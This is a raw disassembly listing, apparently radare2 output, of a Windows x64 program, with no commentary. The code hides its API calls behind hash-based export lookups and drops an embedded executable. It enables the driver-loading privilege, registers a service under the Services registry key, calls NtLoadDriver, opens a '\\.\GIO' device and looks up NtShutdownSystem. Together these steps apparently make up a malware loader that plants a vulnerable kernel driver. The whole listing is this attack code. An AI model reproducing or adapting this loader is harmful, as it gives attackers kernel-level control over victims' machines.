mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140023d90
lea rcx, [rbp + 0x398]
call fcn.140020980
lea rcx, [rbp + 0x398]
cmp qword [rbp + 0x3b0], 0x10
cmovae rcx, qword [rbp + 0x398]
lea rdx, [0x1400aa820]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140023e35
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x140023e0b
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023e06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023e7e
call fcn.140097750
inc edi
cmp edi, dword [rbx]
jb 0x140023d50
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x1400c6cac]
call fcn.140097880
jmp 0x140023e8e
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x140023e27
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023e85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023e85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
jmp 0x140023e27
xor esi, esi
mov eax, dword [r15]
cmp dword [0x1400c6938], eax
jle 0x140023ec6
lea rcx, [0x1400c6938]
call fcn.1400978e0
cmp dword [0x1400c6938], 0xffffffff
jne 0x140023ec6
call fcn.14001f1d0
mov qword [0x1400c6930], rax
lea rcx, [0x1400c6938]
call fcn.140097880
mov eax, dword [r15]
cmp dword [0x1400c6ca8], eax
jle 0x140023efe
lea rcx, [0x1400c6ca8]
call fcn.1400978e0
cmp dword [0x1400c6ca8], 0xffffffff
jne 0x140023efe
call fcn.14001f780
mov qword [0x1400c6928], rax
lea rcx, [0x1400c6ca8]
call fcn.140097880
cmp qword [0x1400c6930], 0
je 0x140023f16
cmp qword [0x1400c6928], 0
jne 0x14002407b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023fa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023fa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1556bc03
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023fa1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023f80
cmp r8d, 0x53dee926
je 0x140023fab
test r9d, r9d
jne 0x140023f60
mov rax, qword [rax]
jmp 0x140023f30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140024056
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140024056
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8cff604a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024051
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024030
cmp r8d, 0x4f2c04c2
je 0x14002405b
test r9d, r9d
jne 0x140024010
mov rax, qword [rax]
jmp 0x140023fe0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r12d, dword [rsp + 0x40]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2d8], xmm1
mov qword [rbp + 0x2e8], rsi
mov edx, 0x68a8
lea rcx, [rbp + 0x2d8]
call fcn.140021e00
mov rbx, qword [rbp + 0x2d8]
mov r8d, 0x68a8
lea r14, [0x1400aad60]
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x68a8]
mov qword [rbp + 0x2e0], rax
mov eax, dword [r15]
cmp dword [0x1400c691c], eax
jle 0x140024104
lea rcx, [0x1400c691c]
call fcn.1400978e0
cmp dword [0x1400c691c], 0xffffffff
jne 0x140024104
lea rcx, [0x1400c691c]
call fcn.140097880
lea rdx, [rbp + 0x3b8]
call fcn.140020ae0
nop
lea rcx, [rbp + 0x140]
call fcn.14001f050
nop
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x14002412c
mov rax, qword [rax]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rcx
call fcn.140096f58
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x360], xmm0
lea r8, [rbp + 0x360]
mov edx, eax
lea rcx, [rbp + 0xa0]
call fcn.14002c5d0
or r12d, 0x1c00
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0xa0]
call fcn.14002a080
mov qword [rbp + 0x2f0], rsi
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r12d, 0xd
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400241ff
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400241fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400241fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 8
jb 0x140024261
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002425c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002425c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp + 0x150], xmm0
mov word [rbp + 0x140], si
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x4d0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0x10
cmovae rdx, qword [rbp + 0x2f0]
lea rcx, [rbp + 0x4d0]
call fcn.1400290b0
nop
mov r8, qword [rbp + 0x2e0]
mov rdx, qword [rbp + 0x2d8]
sub r8, rdx
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x4d8]
call fcn.14002a570
test rax, rax
jne 0x140024301
mov rax, qword [rbp + 0x4d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x4d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp - 0x30]
call fcn.14002a8a0
mov qword [rbp + 0x240], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x240]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140024354
mov bl, 1
jmp 0x1400243df
mov qword [rbp + 0x370], rsi
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
lea r8, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140024380
mov bl, 1
jmp 0x1400243df
mov dword [rbp + 0x410], 1
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x414], rax
mov dword [rbp + 0x41c], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x410]
xor edx, edx
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400243d0
mov bl, 1
jmp 0x1400243df
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140024422
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002441d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002441d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], si
test bl, bl
je 0x14002443d
xor bl, bl
jmp 0x1400249fc
mov rdi, qword [rbp + 0x300]
lea rbx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0x10
cmovae rbx, qword [rbp + 0x2f0]
call fcn.140096f58
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rdi
lea r8, [rbp + 0x120]
mov edx, eax
lea rcx, [rbp + 0x60]
call fcn.14001e4c0
or r12d, 0xc000
mov qword [rbp + 0x2b0], rsi
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x2b0], si
bts r12d, 0x10
mov dword [rsp + 0x40], r12d
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x2b0]
call fcn.14001eec0
test eax, eax
jne 0x14002584a
lea rax, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 8
cmovae rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x138], rax
call fcn.140096f58
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x360], xmm0
lea r8, [rbp + 0x360]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.14002c5d0
or r12d, 0xe0000
mov dword [rsp + 0x40], r12d
lea r8, [0x1400aa974]
lea rcx, [rbp + 0x80]
call fcn.140029f00
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r12d, 0x14
mov dword [rsp + 0x40], r12d
mov qword [rbp + 0x288], rsi
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x2a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x288], 0
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x288]
call fcn.140020980
nop
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x288]
call fcn.14002a080
lea rdx, [rbp + 0x288]
cmp qword [rbp + 0x2a0], 0x10
cmovae rdx, qword [rbp + 0x288]
lea r8, [rbp + 0x250]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140024633
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0x10
jb 0x14002462c
inc rdx
mov rcx, qword [rbp + 0x288]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140024627
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002477c
call fcn.140097750
xor bl, bl
jmp 0x140024788
mov byte [rbp + 0x264], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x264]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400245eb
mov byte [rbp + 0x265], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x265]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400245eb
mov byte [rbp + 0x266], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x266]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400245eb
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
mov eax, dword [rbp - 0x60]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400245eb
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0x10
jb 0x140024788
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024783
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024783
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov byte [rbp + 0x288], 0
mov qword [rbp + 0x2a0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x298], rsi
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400247df
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400247da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400247da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140024833
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002482e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002482e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 8
jb 0x140024895
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024890
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024890
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x2b0], si
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x1400248ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400248e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400249d7
call fcn.140097750
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x60], si
test bl, bl
je 0x1400249fc
mov qword [rbp + 0x338], rsi
mov qword [rbp + 0x348], rsi
mov qword [rbp + 0x350], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x338], 0
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x338]
call fcn.140020980
nop
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x338]
call fcn.14002a080
lea rdx, [rbp + 0x338]
cmp qword [rbp + 0x350], 0x10
cmovae rdx, qword [rbp + 0x338]
lea rcx, [rbp + 0x480]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x470]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x470]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x350]
cmp rdx, 0x10
jb 0x1400249e3
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400249de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400249de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x348], rsi
mov qword [rbp + 0x350], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x338], 0
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x4a0]
call fcn.14002a140
mov byte [rbp + 0x4c0], bl
mov rax, qword [rbp + 0x4d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4cc], edx
lea rcx, [rbp + 0x4d8]
call fcn.140029cc0
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x578]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140024ab2
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024aad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024aad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0x10
jb 0x140024b0f
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x3c8], rsi
mov qword [rbp + 0x3d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b8], 0
mov rcx, qword [rbp + 0x2d8]
test rcx, rcx
je 0x140024b7d
mov rdx, qword [rbp + 0x2e8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024b66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], rsi
test bl, bl
jne 0x140024bbe
mov qword [rbp + 0x2a8], rsi
lea rcx, [rbp + 0x190]
call fcn.14002a120
nop
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x3d8]
call fcn.14002b140
nop
lea rcx, [rbp + 0x190]
call fcn.140020cd0
jmp 0x140024c06
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1400c6260], rax
lea r8, [rbp + 0x4a0]
lea rcx, [rbp + 0x3d8]
call fcn.14002b170
nop
lea rcx, [rbp + 0x4a0]
call fcn.140020cd0
nop
cmp qword [rbp + 0x3d8], 0
je 0x140024c2b
cmp qword [rbp + 0x3f0], 0
jne 0x140024d86
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140024cb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140024cb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xaf41b557
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024cb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024c90
cmp r8d, 0x33e4a11a
je 0x140024cbb
test r9d, r9d
jne 0x140024c70
mov rax, qword [rax]
jmp 0x140024c40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140024d66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140024d66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8a59a981
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024d61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024d40
cmp r8d, 0x35a72c21
je 0x140024d6b
test r9d, r9d
jne 0x140024d20
mov rax, qword [rax]
jmp 0x140024cf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [rbp + 0x260]
call fcn.140030210
mov eax, 0x5a4d
cmp word [0x1400aad60], ax
jne 0x140024db0
movsxd rax, dword [0x1400aad9c]
add rax, 8
add rax, r14
jmp 0x140024db5
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x260]
call fcn.140031a70
test al, al
jne 0x140024f76
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x1e0]
call fcn.14002a140
mov rbx, rax
mov qword [rbp + 0x2a8], rax
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140024e0a
mov rcx, rbx
call fcn.140020d30
nop
mov rcx, rbx
call fcn.140020cd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140024ea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140024ea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5af9bd90
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024ea1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024e80
cmp r8d, 0x34737f43
je 0x140024eab
test r9d, r9d
jne 0x140024e60
mov rax, qword [rax]
jmp 0x140024e30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140024f56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140024f56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xbc941c1d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024f51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140024f30
cmp r8d, 0x288fe93d
je 0x140024f5b
test r9d, r9d
jne 0x140024f10
mov rax, qword [rax]
jmp 0x140024ee0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rbx, r13
mov r14d, dword [rsp + 0x50]
lea rsi, [r14 + r13]
cmp r13, rsi
jae 0x1400252a1
movabs r12, 0x7ffffffffffffffd
nop word [rax + rax]
mov rdi, qword [0x1400c6928]
mov eax, dword [r15]
cmp dword [0x1400c620c], eax
jle 0x140024ff7
lea rcx, [0x1400c620c]
call fcn.1400978e0
cmp dword [0x1400c620c], 0xffffffff
jne 0x140024ff7
lea rcx, [0x1400aaa18]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c6910], rax
